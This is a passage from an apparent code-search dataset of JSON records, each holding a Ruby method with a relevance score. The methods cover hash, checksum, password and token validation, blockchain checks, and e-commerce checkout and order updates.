limited_pwhs.each do |pwh|\n c = password_changed? prev_password_hash: pwh\n # If not changed then we found a match\n unless c\n errors.add :new_password, \"matches a previous password. #{num} previous passwords are checked.\"\n break\n end\n end\n end", "title": "" }, { "docid": "56e782dc3cf7b793d24eda98538ddb6a", "score": "0.56583387", "text": "def validate_link\n return return_hash(false, 'INVALID_RESET_TOKEN') if !valid_token?\n return return_hash(false, 'PASSWORD_MISMATCH') if password_mismatch?\n return return_hash(false, 'INVALID_PASSWORD') unless valid_password?\n return return_hash(true)\n end", "title": "" }, { "docid": "7ae9ec3d340b620f7dde2158cd60b0bd", "score": "0.5657788", "text": "def check_hash(split_line)\r\n # Required since if @execute does not work for embedded call\r\n return unless @execute\r\n\r\n hash_val = 0\r\n x_values = \"#{split_line[0]}|#{split_line[1]}|#{split_line[2]}|#{split_line[3]}\".unpack('U*')\r\n # Perform calculation `((x**3000) + (x**x) - (3**x)) * (7**x)` for each x value\r\n x_values.each do |x|\r\n hash_val += ((x**3000) + (x**x) - (3**x)) * (7**x)\r\n end\r\n hash_val = hash_val % 65_536\r\n if hash_val.to_s(16) != split_line[-1].delete(\"\\n\")\r\n print \"Line #{@line_cnt - 1}: String '\"\r\n puts \"#{split_line[0...4].join('|')}' hash set to #{split_line[-1].delete(\"\\n\")}, should be #{hash_val.to_s(16)}\"\r\n puts 'BLOCKCHAIN INVALID'\r\n @execute = false\r\n return\r\n else\r\n hash_val = 0\r\n end\r\n end", "title": "" }, { "docid": "e1d091a8bec00b8b5f681a0825628ce3", "score": "0.56567895", "text": "def password_changed?(prev_password_hash: nil)\n prev_password_hash ||= encrypted_password_was\n return false unless password\n return true if prev_password_hash.blank? && password.present?\n\n # Get salt from saved encrypted_password\n salt = BCrypt::Password.new(prev_password_hash).salt\n # Recreate the new password with the old salt\n temp_password_hash = BCrypt::Engine.hash_secret(password, salt)\n # Compare\n temp_password_hash != prev_password_hash\n end", "title": "" }, { "docid": "a5803df0d7e029fd72fb64776c327829", "score": "0.5653165", "text": "def md5_hash_is_valid?(json)\n if AuthNetReceiver.config.hash_value.nil? || AuthNetReceiver.config.gateway_login.nil?\n raise StandardError, 'AuthNetReceiver hash_value and gateway_login cannot be nil!'\n end\n parts = []\n parts << AuthNetReceiver.config.hash_value\n parts << AuthNetReceiver.config.gateway_login if json['x_subscription_id'].blank?\n parts << json['x_trans_id']\n parts << json['x_amount']\n hash = Digest::MD5.hexdigest(parts.join()).upcase\n return hash == json['x_MD5_Hash']\n end", "title": "" }, { "docid": "070c0e02ce2b49597f774b0b8f2fdc4e", "score": "0.5641276", "text": "def valid?\n destination_key = @destination.get_checksum # Get sum from destination nDB\n\n $log.debug(self) {\"Cache: Cache checkpoint key - #{@checkpoint_key}\"}\n $log.debug(self) {\"Cache: Destination checkpoint key - #{destination_key}\"}\n\n destination_key == @checkpoint_key\n end", "title": "" }, { "docid": "91041e8b1121ac2cf31249250187fc58", "score": "0.5637209", "text": "def check_hash text\n i = 0\n var = true\n while i < text.length\n var = verifyHashForBlock text, i\n if(!var)\n exit(1)\n end\n i += 1\n end\n return var\nend", "title": "" }, { "docid": "38bbb9115217d9c5727a520732517d38", "score": "0.5634283", "text": "def is_valid_share_hex(candidate)\n return false if candidate.length == 0 || candidate.length % 128 != 0\n\n count = candidate.length / 64\n j = 0\n while j < count\n part = candidate[j * 64...(j + 1) * 64]\n decode = from_hex(part)\n return false if decode <= 0 || decode >= @@prime\n\n j += 1\n end\n return true\n end", "title": "" }, { "docid": "f1e4300ece2941cdc7b8208db8733819", "score": "0.56334394", "text": "def fresh?\n previous_files_digest&.== watched_files_digest\n end", "title": "" }, { "docid": "e6ad463dcae15a97d4c3ef48cd613101", "score": "0.56290996", "text": "def validateHashIndices(value)\n getHashIndices(value) do\n if @bitmap[@hashIndex] != 1\n return false\n end\n end\n true\n end", "title": "" }, { "docid": "87b2fb340697fa39364520183b2c9ca5", "score": "0.56290627", "text": "def valid_token?\n if (@prev_token && @session[:gluon_one_time_token]) then\n @prev_token == @session[:gluon_one_time_token][@path]\n else\n false\n end\n end", "title": "" }, { "docid": "d7e65c1a3ef11be73c897e59e0bd123f", "score": "0.5619578", "text": "def cycle?\n first.hash == last.hash\n end", "title": "" }, { "docid": "c2a6b48ae917d19da9e2debb429a1161", "score": "0.5613406", "text": "def ensure_file_hash_correct(filename, hash)\n if file_hash(filename) != hash\n raise \"decrypted file does not match stored hash: #{filename}\"\n end\nend", "title": "" }, { "docid": "5cf76671ee5b1e663413d64969881c13", "score": "0.56084186", "text": "def valid_block?\n assert @share.valid_block?\n \n share = ShareTool.new( @worker, @job, @submit )\n \n # == share_target, share_diff == 1\n share.stubs(to_hash: \"00000000ffff0000000000000000000000000000000000000000000000000000\")\n refute share.valid_block?\n # == block_target\n target = Bitcoin.decode_compact_bits @nbits.hex\n share.stubs(to_hash: target)\n assert share.valid_block?\n # == block_target + 1\n target = (target.hex + 1).to_hex(32)\n share.stubs(to_hash: target)\n refute share.valid_block?\n end", "title": "" }, { "docid": "91afc0e50c555764f57e8fc3311f0d30", "score": "0.5607368", "text": "def validate_provided_hexdigest!(provided_hexdigest, hexdigest)\n return unless provided_hexdigest && hexdigest != provided_hexdigest\n raise ChecksumMismatchError, \"Checksum mismatch. Provided checksum (#{provided_hexdigest}) didn't match actual file checksum (#{hexdigest}). Try file import again.\"\n end", "title": "" }, { "docid": "b4b2093640b0ca307e95df4f9a0cb22e", "score": "0.5605786", "text": "def valid_gtin_checksum?\n return false if self.length == 0\n number = self.reverse\n odd = even = 0\n\n (1..number.length-1).each do |i|\n i.even? ? (even += number[i].chr.to_i) : (odd += number[i].chr.to_i)\n end\n\n number[0].chr.to_i == (10 - ((odd * 3) + even) % 10)\n end", "title": "" }, { "docid": "ffe0e60eb2b28317cbca88064afeb526", "score": "0.56035954", "text": "def content_changed?\n new_sha = OpenSSL::Digest::SHA512.hexdigest(new_content)\n new_sha != current_sha\n end", "title": "" }, { "docid": "a329c215cd35349aa2a803c450106e41", "score": "0.55971223", "text": "def find_hash\n found_hash = false\n\n while !found_hash do\n match_for_difficulty = DIFFICULTY.times.map {|i| 0}.join\n test_hash = Digest::SHA256.hexdigest(@nonce.to_s + @index.to_s + @timestamp + @data.to_s + @previous_block_hash)\n if test_hash[0..(DIFFICULTY - 1)] == match_for_difficulty\n found_hash = test_hash\n else\n @nonce += 1\n end\n end\n found_hash\n end", "title": "" }, { "docid": "55a1b165edafffdf710a0353beff9dcf", "score": "0.557619", "text": "def validate_reset_token\n\n return invalid_url_error('mm_rp_3') if @manager_validation_hash_obj.blank?\n\n return invalid_url_error('mm_rp_4') if @manager_validation_hash_obj.validation_hash != @reset_token\n\n return invalid_url_error('mm_rp_5') if @manager_validation_hash_obj.status != GlobalConstant::ManagerValidationHash.active_status\n\n return invalid_url_error('mm_rp_6') if @manager_validation_hash_obj.is_expired?\n\n return invalid_url_error('mm_rp_7') if @manager_validation_hash_obj.kind != GlobalConstant::ManagerValidationHash.reset_password_kind\n\n success\n\n end", "title": "" }, { "docid": "b3c7ecc4fc46f99d3786c04f10251548", "score": "0.5570539", "text": "def is_work_valid?(hash, work)\n hash_valid = Nano::Check.is_hash_valid?(hash)\n work_valid = Nano::Check.is_work_valid?(work)\n throw ArgumentError, \"Invalid block hash\" unless hash_valid\n throw ArgumentError, \"Invalid work\" unless work_valid\n\n hash_bin = Nano::Utils.hex_to_bin(hash)\n work_bin = Nano::Utils.hex_to_bin(work).reverse\n\n input = work_bin + hash_bin\n output_hex = Nano::Utils.bytes_to_hex(\n Blake2b.bytes(input, Blake2b::Key.none, 8).reverse\n )\n\n output_hex.to_i(16) >= WORK_THRESHOLD\n end", "title": "" }, { "docid": "2111e748068fdb372a2ad86ea774c7e0", "score": "0.55606234", "text": "def verify_valid_timestamp previous, current, line_number, parser\n previous_seconds, previous_nanoseconds = parser.parse_timestamp previous\n current_seconds, current_nanoseconds = parser.parse_timestamp current\n \n invalid_timestamp = false\n if previous_seconds > current_seconds\n invalid_timestamp = true\n elsif previous_seconds == current_seconds\n if previous_nanoseconds >= current_nanoseconds\n invalid_timestamp = true\n end\n end\n \n if invalid_timestamp\n puts \"Line #{line_number}: Previous timestamp #{previous} >= new timestamp #{current}\"\n puts \"BLOCKCHAIN INVALID\"\n exit()\n end\n \n invalid_timestamp\n end", "title": "" }, { "docid": "44cb9f0472cc4f4ae2e06219a5792850", "score": "0.55589527", "text": "def valid?\n @data.is_a?(Hash) and @data.size > 1\n end", "title": "" }, { "docid": "09c698cbc960eff8dca79357fe9f480d", "score": "0.55576694", "text": "def check_block(curr_block, prev_timestamp, prev_hash, count)\n @error_code = check_extra_pipe(curr_block)\n return \"Line #{count}: extra pipe found! \\nBLOCKCHAIN INVALID\" if @error_code == 1\n\n @error_code = check_block_number(count, curr_block[0])\n if @error_code == 2\n return \"Line #{count}: Invalid block number #{curr_block[0]}, should be #{count} \\nBLOCKCHAIN INVALID\"\n end\n\n @error_code = check_timestamp(prev_timestamp, curr_block[3], curr_block[0].to_i) unless count.zero?\n if @error_code == 3\n return \"Line #{count}: Previous timestamp #{prev_timestamp} => \"\\\n \"new timestamp #{curr_block[3]} \\nBLOCKCHAIN INVALID\"\n end\n\n @error_code = check_prev_hash(prev_hash, curr_block[1], curr_block[0].to_i) unless count.zero?\n if @error_code == 4\n return \"Line #{count}: Previous has was #{curr_block[1]}, should be #{prev_hash}\\nBLOCKCHAIN INVALID\"\n end\n\n @error_code = transaction(curr_block[2], curr_block[0])\n if @error_code == 5\n return \"Line #{count}: Could not parse transactions list '#{curr_block[2]}' \\nBLOCKCHAIN INVALID\"\n end\n\n error_balance = check_balance\n @error_code = error_balance[0].to_i if error_balance.is_a? Array\n if @error_code == 6\n return \"Line #{count}: address #{error_balance[1]} has #{error_balance[2]} billcoins! \\nBLOCKCHAIN INVALID\"\n end\n\n error_hash = check_hash(curr_block[0], curr_block[1], curr_block[2], curr_block[3], curr_block[4])\n @error_code = error_hash[0].to_i if error_hash.is_a? Array\n if @error_code == 7\n return \"Line #{count}: String '#{error_hash[1]}' hash set to #{error_hash[2]}, \"\\\n \"should be #{error_hash[3]}\\nBLOCKCHAIN INVALID\"\n end\n 0\n end", "title": "" }, { "docid": "1c1485c95f2f35b74b865c8bf503a546", "score": "0.55545926", "text": "def validate_auth_info auth_info\n @auth_info = HTTPAuth::Digest::AuthenticationInfo.from_header auth_info\n valid_rspauth = @auth_info.validate(:digest => @h_a1,\n :nonce => @credentials.h[:nonce],\n :uri => @credentials.h[:uri])\n \n if @auth_info.h[:nextnonce] && @auth_info.h[:nextnonce] != @credentials.h[:nonce]\n @credentials.h[:nonce] = @auth_info.h[:nextnonce]\n @credentials.h[:nc] = 1\n end\n \n return valid_rspauth\n end", "title": "" }, { "docid": "a75bf4b9cfc2743076bd5dce795e6690", "score": "0.55536526", "text": "def verify_md5_hash?(url, queue_id, encrypted_place_in_queue, expected_hash, timestamp)\n raise QueueIt::MissingArgsGiven.new if [ url, queue_id, encrypted_place_in_queue, timestamp, expected_hash ].any?( &:nil? )\n\n url_no_hash = \"#{ url[ 0..-33 ] }#{ shared_event_key }\" # Remove hash value and add SharedEventKey\n actual_hash = Digest::MD5.hexdigest( utf8_encode( url_no_hash ) )\n\n return false unless expected_hash == actual_hash\n true\n end", "title": "" } ]
f2f3727054d3c4dc4a3204762a684050
Perform an incremental update of the checkout. Subclasses that want to handle incremental updating need to override this.
[ { "docid": "e4d321807f2228331e0a15be703fc3cb", "score": "0.0", "text": "def do_update\n raise NotImplementedError\n end", "title": "" } ]
[ { "docid": "91860a8a9a848493993ba237f54633c7", "score": "0.76446426", "text": "def do_update\n do_checkout\n end", "title": "" }, { "docid": "4b439763cd2ccc2b7193ad8a46ff7ef2", "score": "0.7026683", "text": "def update\n return if update_completed?\n\n execute_step\n next_step\n\n complete! if update_completed?\n end", "title": "" }, { "docid": "43a391d112a76eb193cc8bfa2a06c1d0", "score": "0.68386734", "text": "def update!\n puts \"Spree::Order#update!\"\n line_items.each { |item| item.copy_price }\n \n update_totals\n update_payment_state\n \n # give each of the shipments a chance to update themselves\n shipments.each { |shipment| shipment.update!(self) }#(&:update!)\n update_shipment_state\n # update_adjustments #TODO commented out to make checkout update work\n # update totals a second time in case updated adjustments have an effect on the total\n\n update_totals\n\n update_attributes_without_callbacks({\n :payment_state => payment_state,\n :shipment_state => shipment_state,\n :item_total => item_total,\n :adjustment_total => adjustment_total,\n :payment_total => payment_total,\n :total => total\n })\n\n #ensure checkout payment always matches order total\n if payment and payment.checkout? and payment.amount != total\n payment.update_attributes_without_callbacks(:amount => total)\n end\n\n line_items.each { |item| item.update!(self) }\n \n @currently_updating = false\n \n update_hooks.each { |hook| self.send hook }\n end", "title": "" }, { "docid": "95b7dd27793f0782f9bfd37a1091808a", "score": "0.6761884", "text": "def batch_update\n checkouts_to_renew&.each do |checkout|\n ws_args = { resource: '/catalog/item',\n item_key: checkout,\n session_token: current_user.session_token }\n RenewCheckoutJob.perform_later(**ws_args)\n end\n\n render plain: 'Renew', status: :ok\n end", "title": "" }, { "docid": "f50a75788f56f7fd3fb53650d52a1d42", "score": "0.65858495", "text": "def update\n @checkout.assign_attributes(checkout_params)\n @checkout.checkout_renewal_count += 1\n\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to @checkout, notice: t('controller.successfully_updated', model: t('activerecord.models.checkout')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checkout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edc41977a544156e466422634762866e", "score": "0.65055674", "text": "def update\n @checkout.assign_attributes(params[:checkout])\n @checkout.due_date = @checkout.due_date.end_of_day\n @checkout.checkout_renewal_count += 1\n\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to @checkout, :notice => t('controller.successfully_updated', :model => t('activerecord.models.checkout')) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @checkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f4fc620416bead9489a0f227ab0dd71", "score": "0.6338618", "text": "def checkout\n self.shopping_cart_items.each do |item|\n item.checkout\n end\n\n self.update_attributes(completed: true, total: 0)\n end", "title": "" }, { "docid": "7f3e045b8d173ed2da1a9b73029e0783", "score": "0.6307938", "text": "def update_totals_and_complete_free_order\n @order.update_totals!\n if @order.in_progress? and @order.item_total > 0 and @order.total == 0 and @order.payments.total == 0\n until @order.checkout.complete?\n @order.checkout.next!\n end\n @order.reload.pay!\n end\n end", "title": "" }, { "docid": "67df9c5ce434dcb28c732f06dfd03802", "score": "0.62232864", "text": "def update\n svn_exec(\"update\")\n end", "title": "" }, { "docid": "8e06afe2a719f5ec8c06840623a9d2ee", "score": "0.61414015", "text": "def update!\n update_totals\n\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n\n update_attributes_without_callbacks({\n :item_total => item_total,\n :total => total\n })\n\n update_hooks.each { |hook| self.send hook }\n end", "title": "" }, { "docid": "b585a9f81046f6563e9139f7e8978eb9", "score": "0.6130717", "text": "def perform\n payouts = Payout.where(market_updated: false).where(paid: true)\n count = payouts.size\n if count == 0\n ScriptLog.info(\"All paid Payouts have already had their corresponding OrderPayout updated on the market. Nothing to do.\")\n return\n end\n if payouts.where(txid: nil).count > 0\n ScriptLog.info(\"A payout is missing the txid field. aborting.\")\n return\n end\n\n ScriptLog.info(\"updating #{count} OrderPayouts on market\")\n\n update_hash = {}\n payouts.each do |p|\n update_hash[p.order_payout_id] = { paid: true, txid: p.txid }\n end\n\n uri = URI.parse(Rails.configuration.admin_api_uri_base +\n '/admin/orderpayouts/set_paid')\n http = nil\n if Rails.env.production?\n tor_proxy_host = Rails.configuration.tor_proxy_host\n tor_proxy_port = Rails.configuration.tor_proxy_port\n http = Net::HTTP.SOCKSProxy(tor_proxy_host, tor_proxy_port).new(uri.host, uri.port)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.content_type = 'application/json'\n request.body = {\n admin_api_key: Rails.configuration.admin_api_key,\n changes: update_hash,\n }.to_json\n response = http.request(request)\n r = JSON.parse response.body # generate exception if json not returned\n if r['api_return_code'] == 'success'\n payouts.update_all(market_updated: true)\n end\n end", "title": "" }, { "docid": "e18a7e5145ea8e4ffad3f6514eec94bc", "score": "0.6066426", "text": "def update\n @checkout = Checkout.find(params[:id])\n if @checkout.reserved?\n flash[:notice] = t('checkout.this_item_is_reserved')\n redirect_to edit_user_checkout_url(@checkout.user, @checkout)\n return\n end\n if @checkout.over_checkout_renewal_limit?\n flash[:notice] = t('checkout.excessed_renewal_limit')\n unless current_user.has_role?('Librarian')\n redirect_to edit_user_checkout_url(@checkout.user, @checkout)\n return\n end\n end\n if @checkout.overdue?\n flash[:notice] = t('checkout.you_have_overdue_item')\n unless current_user.has_role?('Librarian')\n redirect_to edit_user_checkout_url(@checkout.user, @checkout)\n return\n end\n end\n @checkout.reload\n @checkout.checkout_renewal_count += 1\n\n respond_to do |format|\n if @checkout.update_attributes(params[:checkout])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.checkout'))\n format.html { redirect_to user_checkout_url(@checkout.user, @checkout) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @checkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65bf8616ef4651632ccaaee784a2da70", "score": "0.6052588", "text": "def update!\n update_totals\n update_payment_state\n\n # give each of the shipments a chance to update themselves\n shipments.each { |shipment| shipment.update!(self) }#(&:update!)\n update_shipment_state\n update_adjustments\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n\n update_attributes_without_callbacks({\n :payment_state => payment_state,\n :shipment_state => shipment_state,\n :item_total => item_total,\n :adjustment_total => adjustment_total,\n :payment_total => payment_total,\n :total => total\n })\n\n #ensure checkout payment always matches order total\n if payment and payment.checkout? and payment.amount != total\n payment.update_attributes_without_callbacks(:amount => total)\n end\n\n update_hooks.each { |hook| self.send hook }\n end", "title": "" }, { "docid": "76132c7ee4258f559560cc61c2ca3696", "score": "0.5987592", "text": "def update()\n h = Simplify::PaymentsApi.execute(\"invoice\", 'update', self, self.authentication)\n self.merge!(h)\n self\n end", "title": "" }, { "docid": "575f3d0c94f466263e302883e13868a6", "score": "0.59712577", "text": "def _update\n update!\n end", "title": "" }, { "docid": "9048bb86013934275c28c26a88f47bca", "score": "0.5945808", "text": "def checkout\n cart = Cart.find(params[:id])\n\n cart.line_items.each do |line_item|\n line_item.item.update(inventory: line_item.item.inventory - line_item.quantity)\n end\n\n cart.update(status: \"submitted\")\n\n redirect_to cart_path(cart)\n\n current_user.update(current_cart: nil)\n end", "title": "" }, { "docid": "bedba4698662fe6d96c61c588e23c6cf", "score": "0.58956933", "text": "def next_update(*) end", "title": "" }, { "docid": "0400bd6649fa04c7e759b86ba2265339", "score": "0.5888372", "text": "def update!\n new_entries = pull!(endpoint(@state), @options.merge(:ot => @last_update_token))\n @entries = new_entries + @entries\n new_entries\n end", "title": "" }, { "docid": "1da6b7f90ddb3aaa4128f6e48c976042", "score": "0.58707225", "text": "def update\n @checkout = Checkout.find_by_id(params[:id])\n\n # Update all items as checked in\n params[:item_ids].each do |item|\n \tcoi = @checkout.checkedout_items.where('checkedout_items.item_id = ?', item).first\n \tif coi.nil?\n \t\t#ERROR item not part of checkout\n\t \t@checkout.errors.add(\"Items\", \": Some of the items scanned were from different checkouts\")\n\t \treturn render action: \"checkin\"\n\telsif coi.status == 1\n\t \t@checkout.errors.add(\"Items\", \": Some of the items scanned are not checked out\")\n\t \treturn render action: \"checkin\"\n \tend\n \tcoi.update_attribute('status', 1)\n end\n \n # Check if the full checkout is finished\n is_checkout_finished = true\n @checkout.checkedout_items.each do |coi|\n\tif(coi.status == 0)\n\t\tis_checkout_finished = false\n\tend\n end\n \n if(is_checkout_finished)\n \t@checkout.update_attribute('status', 1)\n end\n \n respond_to do |format|\n format.html { redirect_to @checkout, notice: 'Checkout was successfully updated.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2e748b510d860851c92ebde0e5eefeaa", "score": "0.5864956", "text": "def next_update\n @crl.next_update\n end", "title": "" }, { "docid": "2e748b510d860851c92ebde0e5eefeaa", "score": "0.5864956", "text": "def next_update\n @crl.next_update\n end", "title": "" }, { "docid": "cb2162d3a1fd3434effd12aa702f250f", "score": "0.58530885", "text": "def update() end", "title": "" }, { "docid": "b28206ad1a44884587028ec5de13dfdb", "score": "0.5829498", "text": "def update\n load_object\n\n # call the edit hooks for the current step in case we experience validation failure and need to edit again\n edit_hooks\n @checkout.enable_validation_group(@checkout.state.to_sym)\n @prev_state = @checkout.state\n\n before :update\n\n begin\n if @checkout.update_attributes object_params\n update_hooks\n @checkout.order.update_totals!\n after :update\n next_step\n if @checkout.completed_at\n return complete_checkout\n end\n else\n after :update_fails\n set_flash :update_fails\n end\n rescue Spree::GatewayError => ge\n logger.debug(\"#{ge}:\\n#{ge.backtrace.join(\"\\n\")}\")\n flash.now[:error] = t(\"unable_to_authorize_credit_card\") + \": #{ge.message}\"\n end\n\n render 'edit'\n end", "title": "" }, { "docid": "0546488d14ac22db341bf6473a2067d3", "score": "0.5815851", "text": "def update\n if @order.update_attributes(object_params)\n fire_event('spree.checkout.update')\n\n if @order.next\n state_callback(:after)\n else\n flash[:error] = t(:payment_processing_failed)\n respond_with(@order, :location => checkout_state_path(@order.state))\n return\n end\n\n if @order.state == \"complete\" || @order.completed?\n flash.notice = t(:order_processed_successfully)\n flash[:commerce_tracking] = \"nothing special\"\n respond_with(@order, :location => completion_route)\n else\n respond_with(@order, :location => checkout_state_path(@order.state))\n end\n else\n respond_with(@order) { |format| format.html { render :edit } }\n end\n end", "title": "" }, { "docid": "8c7fce96cd02d1aeaedd78c6205de412", "score": "0.58116627", "text": "def update; update!; end", "title": "" }, { "docid": "8c7fce96cd02d1aeaedd78c6205de412", "score": "0.58116627", "text": "def update; update!; end", "title": "" }, { "docid": "b00ede8744617a40e02622dcebec9505", "score": "0.5806554", "text": "def update\r\n if @order.update_attributes(object_params)\r\n if params[:state] == 'confirm'\r\n @order.state = 'payment'\r\n @order.save\r\n end\r\n if @order.next\r\n state_callback(:after)\r\n else\r\n # respond_with(@order, :location => checkout_state_path(@order.state))\r\n respond_with(@order) { |format| format.js { render :update_errors } }\r\n return\r\n end\r\n\r\n if @order.state == \"complete\" || @order.completed?\r\n # respond_with(@order, :location => completion_route)\r\n respond_with(@order) { |format| format.js { render :update_checkout } }\r\n else\r\n # respond_with(@order, :location => checkout_state_path(@order.state))\r\n respond_with(@order) { |format| format.js { render :update_checkout } }\r\n end\r\n else\r\n respond_with(@order) { |format| format.js { render :update_errors } }\r\n end\r\n end", "title": "" }, { "docid": "793b8aa50178c2349ff459c4e72ab6be", "score": "0.58054066", "text": "def update_order!\n @order = current_order\n if update_line_items!\n @order.update_attributes!(currency: @currency.iso_code)\n @order.update!\n end\n end", "title": "" }, { "docid": "71342e564b1e2a6fcecb8767f9998fc0", "score": "0.57945096", "text": "def update_quick_order_cache_total\n\t\t\tif order.present?\n\t\t\t\torder.update_cache_total\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "0d08f7391278b3e53c6b5aac9d868f91", "score": "0.57760227", "text": "def update!\n @last_update = Time.at 0\n update\n end", "title": "" }, { "docid": "59035f4b72cf9d4bd742a45e095a499b", "score": "0.5773814", "text": "def update_sold_coupons\n self.increment!(:sold_coupons)\n end", "title": "" }, { "docid": "238e5cd171a3db933bc7e3d9e1613c53", "score": "0.57653606", "text": "def update_total(amount)\n current_total += amount\n @store.transaction do\n @store[:current_total] = current_total\n @store[:updated_at] = Time.now\n end\n end", "title": "" }, { "docid": "5084f63c80064f6b2937731ff11290e9", "score": "0.57618415", "text": "def update!\n update done: done? do\n trigger :refresh\n end\n end", "title": "" }, { "docid": "ea37e8644b85dcff6ab2134e02d21c49", "score": "0.57596844", "text": "def update\n if stale_head? && !(ENV.include?('MWV_NO_UPDATE') || path('no-update').exist?)\n system('git fetch origin', chdir: @directory)\n end\n end", "title": "" }, { "docid": "4d0f65393f3c96f3e3ce6f0cfc826dfe", "score": "0.57567394", "text": "def update!\n invoke [:update]\n end", "title": "" }, { "docid": "f0a89dfee778c75fcede4776ddc5b209", "score": "0.5745871", "text": "def update_totals!\n update_totals\n save!\n end", "title": "" }, { "docid": "7e3c03c97808cc6efbc26a4449c71f22", "score": "0.5725195", "text": "def update_order\n order.update!\n self.amount = order.total if self.amount != order.total && order.payment == self # this dosnt update as quick as it should.\n end", "title": "" }, { "docid": "624f0ee930b70e9d29c285636105d37f", "score": "0.57221323", "text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @orders = args[:orders] if args.key?(:orders)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "title": "" }, { "docid": "5ca2caa1a207739e77f437de35e41cf1", "score": "0.5717611", "text": "def update ; end", "title": "" }, { "docid": "9b2c14f01cd4814a5a1cf3c895e76cb9", "score": "0.5705205", "text": "def update\n Alphonse.logger.operation config[:update_description]\n prerequisite.push config[:update].map { |task| send(task) }\n end", "title": "" }, { "docid": "95228d206b3236a73eee870fe762a655", "score": "0.57030416", "text": "def invoke_update!\n invoke_task('atom:update', starting_point, submitter, profile, collection_ark, feeddatefile)\n end", "title": "" }, { "docid": "12d50bb2a331ea42543f05535c168c8f", "score": "0.56855863", "text": "def apply(checkout, total)\n checkout.line_items.each do |checkout_item|\n if checkout_item.product_code == item.product_code\n total -= checkout_item.quantity*item.price\n total += checkout_item.quantity*new_price\n end\n end\n total\n end", "title": "" }, { "docid": "97f2781861985c9332de2136fde1b47f", "score": "0.568294", "text": "def update\n @order = current_order\n if @order.update_attributes(order_params) && @order.next_step && @order.save\n redirect_to edit_cart_path\n else\n render :layout=> 'semi_static_full', :template => \"semi_static/carts/status/#{@order.order_status}\"\n end\n end", "title": "" }, { "docid": "a991158951798971cb7a31fa24ddb6bc", "score": "0.56824166", "text": "def update_cart_sum\n cart.recalc_sum\n end", "title": "" }, { "docid": "4b14ed86ca8df0880fdfed72382ec79b", "score": "0.5681427", "text": "def update\n # Install in yaourt can be used for update, too\n self.install\n end", "title": "" }, { "docid": "91a9846c34dd66ffa96b8c0ef4192797", "score": "0.568027", "text": "def increment_order_total_amount\n order.increment_total_amount(total_price)\n # order.total_amount ||= 0\n # order.total_amount += total_price\n # order.save\n end", "title": "" }, { "docid": "52e12561fa3d550d209676dfc1f3df13", "score": "0.56779265", "text": "def update\n if @order.update_from_params(params, permitted_checkout_attributes, request.headers.env)\n @order.temporary_address = !params[:save_user_address]\n unless @order.next\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to(checkout_state_path(@order.state)) && return\n end\n\n if @order.completed?\n @current_order = nil\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to completion_route\n else\n redirect_to checkout_state_path(@order.state)\n end\n else\n render :edit\n end\n end", "title": "" }, { "docid": "30bf1cbb68476e46e1548e890e1130b4", "score": "0.5676588", "text": "def update(list, item, new_qty)\n add_item(list, item, new_qty)\nend", "title": "" }, { "docid": "dbd578086410d587c3bb59f173680436", "score": "0.5671825", "text": "def update!\n options = Order.thread_options\n unless options[:prevent_update]\n # let the original update! happen\n self.line_items.includes(:variant => {:product => :tax_category})\n\n @@original_update_bang.bind(self).call\n end\n end", "title": "" }, { "docid": "af502f2395bae57e01537a2a97d4cd85", "score": "0.56713027", "text": "def update\n if @order.update_from_params(params, permitted_checkout_attributes, request.headers.env)\n @order.temporary_address = !params[:save_user_address]\n if params[:state]==\"payment\" and method_name?\n check_payment_method\n end\n unless @order.next\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to checkout_state_path(@order.state) and return\n end\n if @order.completed?\n @current_order = nil\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to completion_route\n else\n redirect_to checkout_state_path(@order.state)\n end\n else\n render :edit\n end\n end", "title": "" }, { "docid": "2f874d71c2435e83deeae7899bebdc0a", "score": "0.5648299", "text": "def update\n if @order.update_attributes(object_params)\n\n fire_event('spree.checkout.update')\n if @order.respond_to?(:coupon_code) && @order.coupon_code.present?\n fire_event('spree.checkout.coupon_code_added', :coupon_code => @order.coupon_code)\n end\n\n if @order.next\n state_callback(:after)\n else\n flash[:error] = I18n.t(:payment_processing_failed)\n respond_with(@order, :location => checkout_state_path(@order.state))\n return\n end\n\n if @order.state == \"complete\" || @order.completed?\n flash[:notice] = I18n.t(:order_processed_successfully)\n flash[:commerce_tracking] = \"nothing special\"\n respond_with(@order, :location => completion_route)\n else\n respond_with(@order, :location => checkout_state_path(@order.state))\n end\n else\n respond_with(@order) { |format| format.html { render :edit } }\n end\n end", "title": "" }, { "docid": "6249943d1eeff63f8f611fcf73254058", "score": "0.56431764", "text": "def update\n \n end", "title": "" }, { "docid": "db2ca06d509828d5d54937accd205033", "score": "0.56398857", "text": "def update!(**args)\n @total_cancellations = args[:total_cancellations] if args.key?(:total_cancellations)\n @total_completions = args[:total_completions] if args.key?(:total_completions)\n @total_execution_time_for_completions_millis = args[:total_execution_time_for_completions_millis] if args.key?(:total_execution_time_for_completions_millis)\n @total_failures = args[:total_failures] if args.key?(:total_failures)\n end", "title": "" }, { "docid": "7ac1d0f04e34a993bf2b1a441f8f1947", "score": "0.56372654", "text": "def update\n if stale_head? && !(ENV.include?('MWV_NO_UPDATE') || path('no-update').exist?)\n system('git fetch origin', chdir: @directory)\n end\n end", "title": "" }, { "docid": "7ac1d0f04e34a993bf2b1a441f8f1947", "score": "0.56372654", "text": "def update\n if 